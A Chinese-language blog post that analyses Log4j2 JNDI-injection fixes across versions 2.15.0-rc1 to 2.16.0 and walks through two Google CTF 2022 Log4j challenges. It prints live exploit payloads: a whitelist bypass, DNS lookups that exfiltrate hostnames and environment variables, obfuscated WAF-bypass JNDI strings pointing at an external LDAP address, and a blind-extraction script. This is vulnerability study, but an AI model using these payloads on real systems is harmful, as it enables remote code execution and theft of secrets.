format:44, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:385, PatternLayout$PatternFormatterPatternSerializer (org.apache.logging.log4j.core.layout)
toText:241, PatternLayout (org.apache.logging.log4j.core.layout)
encode:226, PatternLayout (org.apache.logging.log4j.core.layout)
encode:60, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:161, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:134, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:125, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:89, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:542, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:500, LoggerConfig (org.apache.logging.log4j.core.config)
log:483, LoggerConfig (org.apache.logging.log4j.core.config)
log:417, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:15, Test

漏洞分析

log4j2-2.15.0-rc1主要有以下变化:

  1. 在版本2.15.0之前,Log4j会自动解析message中包含的Lookups或其在Pattern Layout中的参数。但是该版本此行为不再是默认行为,必须通过指定 %msg{lookups}来启用。 MessagePatternConverter.java LookupMessagePatternConverter.java
  2. 默认情况下,JNDI Lookup 被限制为仅支持 java、ldap 和 ldaps 协议。LDAP 也不再支持实现 Referenceable 接口的类,默认情况下将 Serializable 类限制为 Java 原始类,并且需要指定允许列表才能访问远程 LDAP 服务器。 JndiManager.java

message关闭lookup服务

2.15.0-rc1 org.apache.logging.log4j.core.layout.PatternLayout$PatternFormatterPatternSerializer#toSerializable 相比之前没有太大变化

public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    PatternFormatter[] var3 = this.patternSelector.getFormatters(event);
    int var4 = var3.length;

    for(int var5 = 0; var5 < var4; ++var5) {
        PatternFormatter formatter = var3[var5];
        formatter.format(event, buffer);
    }

    if (this.replace != null) {
        String str = buffer.toString();
        str = this.replace.format(str);
        buffer.setLength(0);
        buffer.append(str);
    }

该方法中会调用PatternFormatter#format-->LogEventPatternConverter#formatPatternFormatterLogEventPatternConverter对象进行了封装。

MessagePatternConverter继承自LogEventPatternConverter。在2.14.1的调用栈中的MessagePatternConverter#format判断noLookups是否为flase,从而进行StrSubstitutor.replace调用image-20230207223438140

但是在2.15.0-rc1中MessagePatternConverter类多个四个内部类,其自身的format方法不在起作用image-20230207224123379

LookupMessagePatternConverter负责管理log4j2 jndi服务的触发,所以我们需要触发LookupMessagePatternConverter#format方法image-20230207224244902

如果直接用之前的payload来攻击会攻击失败,因为在PatternLayout$PatternFormatterPatternSerializer#toSerializable方法中获取到的PatternFormatter数组中,压根没有对LookupMessagePatternConverter进行封装的PatternFormatter

向上寻找怎么才能将其放到PatternFormatter数组中,不如换个思路,如何让LookupMessagePatternConverter被初始化呢?当options数组中有"lookups"时,lookups值将为true,就会实例化LookupMessagePatternConverter。

    public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
        boolean lookups = loadLookups(options);
        String[] formats = withoutLookupOptions(options);
        TextRenderer textRenderer = loadMessageRenderer(formats);
        MessagePatternConverter result = formats != null && formats.length != 0 ? new FormattedMessagePatternConverter(formats) : MessagePatternConverter.SimpleMessagePatternConverter.INSTANCE;
        if (lookups && config != null) {
            result = new LookupMessagePatternConverter((MessagePatternConverter)result, config);
        }
        if (textRenderer != null) {
            result = new RenderingPatternConverter((MessagePatternConverter)result, textRenderer);
        }
        return (MessagePatternConverter)result;
    }

        private static boolean loadLookups(final String[] options) {
        if (options != null) {
            String[] var1 = options;
            int var2 = options.length;

            for(int var3 = 0; var3 < var2; ++var3) {
                String option = var1[var3];
                if ("lookups".equalsIgnoreCase(option)) {
                    return true;
                }
            }
        }
        return false;
    }

通过沿着调用栈寻找什么位置对PatternConverter进行了初始化并封装其,锁定到了Pattern#parse方法里面对pattern进行解析并选取对应的PatternConverter来初始化,看到这个有点熟悉吧。它不就是log4j2配置文件里面的配置吗? Log4j2进阶使用(Pattern Layout详细设置) 2.14.1及之前是nolookups,现在应该是lookups。log4j2

所以想实例化LookupMessagePatternConverter对象,需在配置文件中进行message参数的配置

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

Jndi服务的限制

2.14.1的JndiManager就简简单单这样

public Object lookup(String name) throws NamingException{
    return context.lookup(name);
}

2.15.0-rc1在JndiManager中添加了好多东西

    public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!this.allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                    return null;
                }

                if ("ldap".equalsIgnoreCase(uri.getScheme()) || "ldaps".equalsIgnoreCase(uri.getScheme())) {
                    if (!this.allowedHosts.contains(uri.getHost())) {
                        LOGGER.warn("Attempt to access ldap server not in allowed list");
                        return null;
                    }

                    Attributes attributes = this.context.getAttributes(name);
                    if (attributes != null) {
                        Map<String, Attribute> attributeMap = new HashMap();
                        NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();

                        Attribute classNameAttr;
                        while(enumeration.hasMore()) {
                            classNameAttr = (Attribute)enumeration.next();
                            attributeMap.put(classNameAttr.getID(), classNameAttr);
                        }

                        classNameAttr = (Attribute)attributeMap.get("javaClassName");
                        if (attributeMap.get("javaSerializedData") != null) {
                            if (classNameAttr == null) {
                                LOGGER.warn("No class name provided for {}", name);
                                return null;
                            }

                            String className = classNameAttr.get().toString();
                            if (!this.allowedClasses.contains(className)) {
                                LOGGER.warn("Deserialization of {} is not allowed", className);
                                return null;
                            }
                        } else if (attributeMap.get("javaReferenceAddress") != null || attributeMap.get("javaFactory") != null) {
                            LOGGER.warn("Referenceable class is not allowed for {}", name);
                            return null;
                        }
                    }
                }
            }
        } catch (URISyntaxException var8) {
        }

        return this.context.lookup(name);
    }

很长,但是有个有趣的东西,try...catch...后啥也没做,没抛出异常。这就导致我们可以触发URISyntaxException来绕过,网上搜了搜使用&,|,-以及空格等都会触发URISyntaxException。那么try...catch...部分只允许符合要求的变量通过

variable value
allowedProtocols [java, ldap, ldaps]
allowedHosts [localhost, 127.0.0.1, d4m1tsdeMacBook-Pro.local, fe80:0:0:0:511a:1574:bca8:fa1b%utun3, fe80:0:0:0:5f4b:9388:9617:a34f%utun2, fe80:0:0:0:da80:893a:2c2b:22c9%utun1, fe80:0:0:0:4936:2ec2:ac06:59d0%utun0, fe80:0:0:0:b853:76ff:fec8:ca3a%llw0, fe80:0:0:0:b853:76ff:fec8:ca3a%awdl0, fe80:0:0:0:aede:48ff:fe00:1122%en5, fe80:0:0:0:1421:ea1:4520:c8ab%en0, 192.168.0.106, fe80:0:0:0:0:0:0:1%lo0, 0:0:0:0:0:0:0:1]
allowedClasses [java.lang.Boolean, java.lang.Byte, java.lang.Character, java.lang.Double, java.lang.Float, java.lang.Integer, java.lang.Long, java.lang.Short, java.lang.String]

另外还不支持Reference对象和远程ObjectFactory,强行绕过的策略:

  1. 首先只能用ldap进行攻击
  2. 至于主机白名单,这里使用URI#getHost()方法的一个trick进行绕过,如下:该方法遇到这样的url时,会取#前面,协议://后面的部分作为url的Host.
ldap://127.0.0.1#evilhost.com
  1. javaClassName这个变量,该变量的值是从LDAP服务器返回的数据里取的,而且这个值对于后续的漏洞利用毫无影响,只要修改一下LDAP服务端的代码,将该值的属性改为满足log4j2中要求的值即可。
  2. 不支持远程的ObjectFactory,虽然前面进行host主机的绕过,但是在ldap进行请求的时候还是会访问127.0.0.1#evilhost.com。所以想要进行RCE还是得使用本地得ldap服务器

2.15.0 rc2思考

因为rc1存在被绕过的可能性,所以官方又推出了log4j2 2.15.0-rc2来进行防御。log4j2 2.15.0-rc2发行文档 和c1变化基本不大,主要看下面

该版本在org.apache.logging.log4j.core.net.JndiManager#lookup处进行了异常抛出,这里的修复再加上默认不开启lookup服务,可以说杜绝了log4j2的jndi注入

    @SuppressWarnings("unchecked")
    public synchronized <T> T lookup(final String name) throws NamingException {
        try { ......
        } catch (URISyntaxException ex) {
            LOGGER.warn("Invalid JNDI URI - {}", name);
            return null;
        }
        return (T) this.context.lookup(name);
    }

2.16.0

log4j2发行文档 发行文档中提到俩点主要信息:

  • LOG4J2-3208:默认禁用 JNDI。需要将 log4j2.enableJndi 设置为 true 以允许 JNDI。
  • LOG4J2-3211:完全删除对message lookup的支持。

log4j2.enableJndi

官方默认禁用了jndi,在org.apache.logging.log4j.core.lookup.Interpolator初始化内部变量strLookupMap时,需要经过判断才将实现 JNDI Lookup 的类 JndiLookup 加入image-20230209221550845

org.apache.logging.log4j.core.net.JndiManager#isJndiEnabled

    public static boolean isJndiEnabled() {
        return PropertiesUtil.getProperties().getBooleanProperty("log4j2.enableJndi", false);
    }

同时毫无疑问在JndiManager#lookup处依然保留了对Jndi服务的限制

另外在Appenders

message lookup

官方移除了 MessagePatternConverter 的内部实现类 LookupMessagePatternConverter,相当于在PatternLayout进行message传参lookup格式得服务再也进行无法进行lookup得解析了,之前得$msg{lookups}无处施展。简单举个例

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
    <Appenders>
        <Console name="Console" target="SYSTEM_ERR">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36}  - %msg{lookups} %n">
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="debug">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>
Logger LOGGER = LogManager.getLogger(GoogleCTF.class);        
LOGGER.error("${java:version}");

最后得输出结果:

22:10:40.498 ERROR GoogleCTF  - ${java:version} 

0x03 关于Appenders

Appenders考虑了日志事件的输出、包装以及过滤转发的可能,包括最基本的输出到本地文件、输出到远程主机,对文件进行封装、注入,并且还能按照日志文件的时间点、文件大小等条件进行自动封存。每个Appende 必须实现Appender接口。大多数 Appender 都会扩展AbstractAppender,从而增加LifecycleFilterable支持。 su18师傅中提到了关于Appenders的利用

image-20230209212030900

0x04 信息泄露

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg log4j2 lookup

Log4j2会使用org.apache.logging.log4j.core.lookup.Interpolator类来代理所有的 StrLookup 实现类。也就是说在使用Lookup功能时,由 Interpolator 这个类来处理和分发。在初始化时创建了一个 strLookupMap ,将一些lookup功能关键字和处理类进行了映射,存放在这个Map中。然后在Interpolator#lookup方法中根据:前的prefix来选择strLookup实现类。信息泄露使用的就是这些关键字来获取系统信息image-20230208162719537

Dns

Jndi支持Dns协议,可以利用其将我们想要的信息进行外带

${jndi:dns://${hostName}.xxx.dnslog.org}
${jndi:dns://${env:COMPUTERNAME}.xxx.dnslog.org}
${jndi:dns://${env:USERDOMAIN}.xxx.dnslog.org}

Java

获取Java的环境信息

usage     method
${java:version}     getSystemProperty("java.version")
${java:runtime}     getRuntime()
${java:vm}     getVirtualMachine()
${java:os}     getOperatingSystem()
${java:hw}     getHardware()
${java:locale}     getLocale()

sys

通过System.getProperty()来获取系统属性

${sys:os.name}
${sys:os.arch}
${sys:java.version}

env

通过System.getenv()来获取环境变量

${env:A8_HOME}
${env:A8_ROOT_BIN}
${env:ALLUSERSPROFILE}
${env:APPDATA}
${env:CATALINA_BASE}
${env:CATALINA_HOME}
${env:CATALINA_OPTS}
${env:CATALINA_TMPDIR}
${env:CLASSPATH}
${env:CLIENTNAME}
${env:COMPUTERNAME}
${env:ComSpec}
${env:CommonProgramFiles}
${env:CommonProgramFiles(x86)}
${env:CommonProgramW6432}
${env:FP_NO_HOST_CHECK}
${env:HOMEDRIVE}
${env:HOMEPATH}
${env:JRE_HOME}
${env:Java_Home}
${env:LOCALAPPDATA}
${env:LOGONSERVER}
${env:NUMBER_OF_PROCESSORS}
${env:OS}
${env:PATHEXT}
${env:PROCESSOR_ARCHITECTURE}
${env:PROCESSOR_IDENTIFIER}
${env:PROCESSOR_LEVEL}
${env:PROCESSOR_REVISION}
${env:PROMPT}
${env:PSModulePath}
${env:PUBLIC}
${env:Path}
${env:ProgramData}
${env:ProgramFiles}
${env:ProgramFiles(x86)}
${env:ProgramW6432}
${env:SESSIONNAME}
${env:SystemDrive}
${env:SystemRoot}
${env:TEMP}
${env:TMP}
${env:ThisExitCode}
${env:USERDOMAIN}
${env:USERNAME}
${env:USERPROFILE}
${env:WORK_PATH}
${env:windir}
${env:windows_tracing_flags}
${env:windows_tracing_logfile}

Bundle

通过ResourceBundle.getBundle(bundleName).getString(bundleKey)来读取properties文件中的配置项,比如像springboot中的properties文件

Bundle方式由浅蓝师傅提出来的log4j 漏洞一些特殊的利用方式,bundle对应的是ResourceBundleLookup 通过ResourceBundle类来读取资源属性文件。从代码上来看就很好理解,把key按照:分割成两份,第一个是 bundleName 获取 ResourceBundle,第二个是 bundleKey 获取 Properties Value

    public String lookup(final LogEvent event, final String key) {
        if (key == null) {
            return null;
        }
        final String[] keys = key.split(":");
        final int keyLen = keys.length;
        if (keyLen != 2) {
            LOGGER.warn(LOOKUP, "Bad ResourceBundle key format [{}]. Expected format is BundleName:KeyName.", key);
            return null;
        }
        final String bundleName = keys[0];
        final String bundleKey = keys[1];
        try {
            // The ResourceBundle class caches bundles, no need to cache here.
            return ResourceBundle.getBundle(bundleName).getString(bundleKey);
        } catch (final MissingResourceException e) {
            LOGGER.warn(LOOKUP, "Error looking up ResourceBundle [{}].", bundleName, e);
            return null;
        }
    }
}

实例:在resources文件下创建test.properties

name:B0T1eR

获取properties文件中的配置项

        Logger logger = (Logger) LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);;
        logger.error("${bundle:test:name}");

如果是springboot,docker或者Kubernetes环境可能还能获取其他信息

0x05 WAF绕过

payload前随意字符

,,xx,${jndi:ldap://39.105.8.77:1389/kpxcim}

valueDelimiterMatcher [:,-]

这个上面也解释过了

${${::-j}ndi:rmi://k123.k123.k123/ass}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://k123.k123.k123/poc}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://k123.k123.k123/poc}

lowerCase/upperCase

这个是浅蓝师傅提出来的,lookup服务中的使用upper和lower关键字会调用LowerLookup和UpperLookup,最后触发string的lowerCase/upperCase方法

${jnd${lower:${upper:ı}}:ldap://39.105.8.77:1389/jdkyoy}

封装的payload

log4j2的payload可控位置可能被Header、URL、键值对参数、JSON参数、XML参数...来封装。JSON中处理库用的最多的就数 Jackson和fastjson。这俩种支持unicode和hex的编码特性。

0x06 影响产品

核弹级漏洞影响的太多了,Structs2,vmware,Apache slor.... 这里就不写那么多(因为不会,以后学的时候再加上吧)

log4j 1.x

logj1.x已经被弃用好久了并且其自身还没开发lookup服务,所以是配置文件的RCE....

https://mp.weixin.qq.com/s/19oIId_Ax2nxJ00k6vFhDg

https://su18.org/post/log4j2/#log4j-1x

ElasticSearch

ElasticSearch其中也使用日志系统log4j2,其也会收到此次漏洞的影响,在官方论坛里发布的公告,Elasticsearch 5.0.0+版本包含了带有漏洞版本的 Log4j2 包,但是其自身实现有Java Security Manager的防护,一些文件读写和底层Runtime的执行操作都会被限制。p牛在其知识星球里提到可以使用jndi的DNS功能实现敏感信息的外带。b站也有博主提到了Log4j2对Elasticsearch的影响,jndi和文件操作都会收到Java Security Manager的限制。

ElasticSearch还是在安全防护方面做的挺好的。

GoogleCTF

log4j

在线复现环境:Google-log4j2

题目给了python做前端和java做后端,web服务的入口点是以下的python环境。subprocess.run可以执行命令,但是貌似逃逸不出来无法进行命令注入,另外该函数设置capture_output=True,表示会将前面命令的执行结果stdout和stderr捕获

import os
import subprocess

from flask import Flask, render_template, request


app = Flask(__name__)

@app.route("/", methods=['GET', 'POST'])
def start():
    if request.method == 'POST':
        text = request.form['text'].split(' ')
        cmd = ''
        if len(text) < 1:
            return ('invalid message', 400)
        elif len(text) < 2:
            cmd = text[0]
            text = ''
        else:
            cmd, text = text[0], ' '.join(text[1:])
        result = chat(cmd, text)
        return result
    return render_template('index.html')

def chat(cmd, text):
    # run java jar with a 10 second timeout
    res = subprocess.run(['java', '-jar', '-Dcmd=' + cmd, 'chatbot/target/app-1.0-SNAPSHOT.jar', '--', text], capture_output=True, timeout=10)
    print(res.stderr.decode('utf8'))
    return res.stdout.decode('utf-8')

if __name__ == '__main__':
    port = os.environ['PORT'] if 'port' in os.environ else 1337
    app.run(host='0.0.0.0', port=port)

后端的Java程序使用2.17.1版本的log4j2,很明显该版本已经不存在jndi注入漏洞了,log4j2.xml配置如下:${sys:cmd}从系统变量里获得值,也就是上面java -jar -Dcmd=""的值

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
    <Appenders>
        <Console name="Console" target="SYSTEM_ERR">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="debug">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>
public class App {
  public static Logger LOGGER = LogManager.getLogger(App.class);
  public static void main(String[]args) {
    String flag = System.getenv("FLAG");
    if (flag == null || !flag.startsWith("CTF")) {
        LOGGER.error("{}", "Contact admin");
    }
  
    LOGGER.info("msg: {}", args);
    // TODO: implement bot commands
    String cmd = System.getProperty("cmd");
    if (cmd.equals("help")) {
      doHelp();
      return;
    }
    if (!cmd.startsWith("/")) {
      System.out.println("The command should start with a /.");
      return;
    }
    doCommand(cmd.substring(1), args);
  }

  private static void doCommand(String cmd, String[] args) {
    switch(cmd) {
      case "help":
        doHelp();
        break;
      case "repeat":
        System.out.println(args[1]);
        break;
      case "time":
        DateTimeFormatter dtf = DateTimeFormatter.ofPattern("yyyy/M/d H:m:s");
        System.out.println(dtf.format(LocalDateTime.now()));
        break;
      case "wc":
        if (args[1].isEmpty()) {
          System.out.println(0);
        } else {
          System.out.println(args[1].split(" ").length);
        }
        break;
      default:
        System.out.println("Sorry, you must be a premium member in order to run this command.");
    }
  }
  private static void doHelp() {
    System.out.println("Try some of our free commands below! \nwc\ntime\nrepeat");
  }
}

再看看主程序,环境变量FLAG中存有flag,从程序中看存在msg和cmd俩个注入点,但在log4j2 2.16.0的更新中提到了俩点:

  • LOG4J2-3208:默认禁用 JNDI。需要将 log4j2.enableJndi 设置为 true 以允许 JNDI。
  • LOG4J2-3211:完全删除对message lookup的支持。

msg部分不在支持lookup服务,所以这个点可以抛弃了。LogManager.getLogger会解析PatternLayOut中的lookup表达式,所以可以在cmd部分注入${env:FLAG},但是前端python没有读取到结果

image-20230210111945119

明明会解析但为什么会出现这样的结果,y4tacker给出的解释是这是在日志而不是标准输出当中。那就重新找个logger并让其触发异常到标准错误中,从StrLookup的继承类中寻找:y4tacker师傅找到了ResourceBundleLookup:${bundle:${ENV:FLAG}}image-20230210171812652

国外的一个师傅找到了JavaLookup:${java:${ENV:FLAG}}image-20230210172016300

其实找一个能触发异常的lookup就可以,DateLookup也可以:${date:${ENV:FLAG}}image-20230210171916114

最后顺利拿到flagimage-20230210173141708

log4j2

官方说上面这个是非预期,于是又新来了一道题。环境和上一道题一样,使用上一道题的payload会告诉你

Sensitive information detected in output. Censored for security reasons.

后台应该是将上面payload打输出的特征给识别然后过滤了 可以使用doCommand的功能来验证image-20230210174955708

这里我不太明白怎么做,但是我找到俩篇wp提供了俩种不同的方法

%replace盲注

官方在PatternLayout中支持正则表达式的功能%replace:%replace{pattern}{regex}

将出现的“regex”(一个正则表达式)替换为字符串中由模式评估产生的替换“substitution”。 例如,“%replace(%msg}{\s}{}”将删除事件消息中包含的所有空格。该模式可以任意复杂,特别是可以包含多个转换关键字。 例如,“%replace{%logger %msg}{\.}{/}”将用正斜杠替换记录器或事件消息中的所有点。

使用%replace{${ENV:FLAG}}{C}{\}表达式正则匹配字符C成功会在log4j题目中出现image-20230210224831930

在log4j2题目中会被拦截

image-20230210224901180

以上是字符匹配成功的情形,匹配失败的话会出现

image-20230210224957035

于是我们就可以编写python脚本来进行盲注

import requests
from string import ascii_lowercase,digits

sucess = "Sensitive information detected in output. Censored for security reasons."
fail = "The command should start with a /."
url = "https://log4j2-web.2022.ctfcompetition.com/"
headers= {
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Origin": "https//log4j2-web.2022.ctfcompetition.com",
    "Referer": "https://log4j2-web.2022.ctfcompetition.com/"
}

def result():
    payload = ""
    for a in range(100):
        for i in ascii_lowercase + ascii_lowercase.upper() + digits + "-{}":
            request = requests.post(url,data={"text" : "%replace{${ENV:FLAG}}{(^"+ payload + i +")}{\}"},headers=headers)
            if sucess in request.text:
                payload += i
                print(payload)
                break

if __name__ == '__main__':
    print(ascii_lowercase,ascii_lowercase.upper(),digits,"-")
    result()

redos

Reference

https://myzxcg.com/2022/01/Log4j2-利用链与Waf绕过分析/

http://blog.gm7.org/个人知识库/02.代码审计/01.Java安全/03.应用漏洞分析/06.log4j2_rce分析.html#2150-rc1补丁绕过

https://blog.play2win.top/2021/12/16/log4j漏洞分析/#前言

https://su18.org/post/log4j2/

https://www.cnblogs.com/piaomiaohongchen/p/15711310.html

https://blog.csdn.net/mole_exp/article/details/122037039

https://blog.play2win.top/2021/12/16/log4j漏洞分析/

http://wjlshare.com/archives/1674

https://k8gege.org/p/log4shell.html

https://www.freebuf.com/vuls/316143.html

https://www.jianshu.com/p/37ef7bc6d6eb

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

https://mp.weixin.qq.com/s/19oIId_Ax2nxJ00k6vFhDg

https://github.com/Y4tacker/JavaSec/blob/main/比赛反思/2022/3/2022GooGleCTF/index.md

https://zenn.dev/kyasbal/articles/f2295d1875d26a

https://www.mi1k7ea.com/2020/05/03/浅析Java沙箱逃逸/#0x01-Java沙箱

jar包/source的对比

github

idea

Beyond Compare 4 jar/class对比插件